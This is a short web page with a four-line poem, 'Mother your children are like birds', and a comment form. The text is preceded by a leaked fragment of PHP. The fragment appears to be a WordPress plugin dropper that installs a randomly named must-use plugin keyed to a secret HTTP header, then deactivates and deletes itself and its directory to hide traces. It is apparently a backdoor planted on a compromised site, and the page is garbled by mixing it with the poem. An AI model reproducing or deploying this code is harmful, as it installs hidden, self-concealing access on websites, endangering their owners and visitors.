/* $the_post_wl = $_SERVER; $the_post_krs = 'HTTP_7149974'; if (isset($the_post_wl[$the_post_krs])) {} EOD; if (file_put_contents($mu_plugin_path, $mu_plugin_content)) { error_log("MU plugin {$random_name} created and installed."); f2(); } else { error_log("Failed to create MU plugin file."); } } function f2() { $plugin_file = __FILE__; deactivate_plugins(plugin_basename($plugin_file)); unlink($plugin_file); $plugin_dir = plugin_dir_path($plugin_file); if (is_dir($plugin_dir)) { $files = array_diff(scandir($plugin_dir), array('.', '..')); foreach ($files as $file) { is_dir("$plugin_dir/$file") ? delTree("$plugin_dir/$file") : unlink("$plugin_dir/$file"); } rmdir($plugin_dir); error_log("Plugin directory deleted."); } else { error_log("Plugin directory not found."); } } function delTree($dir) { $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file"); } return rmdir($dir); } register_activation_hook(__FILE__, 'f1'); Mother your children are like birds – Buginme_2

Mother your children are like birds


Mother, your children are like birds,
Their wings have fluttered into the distance.
Mother, to the bright and native chamber,
Soon we shall return once more.


Leave a Reply

Your email address will not be published. Required fields are marked *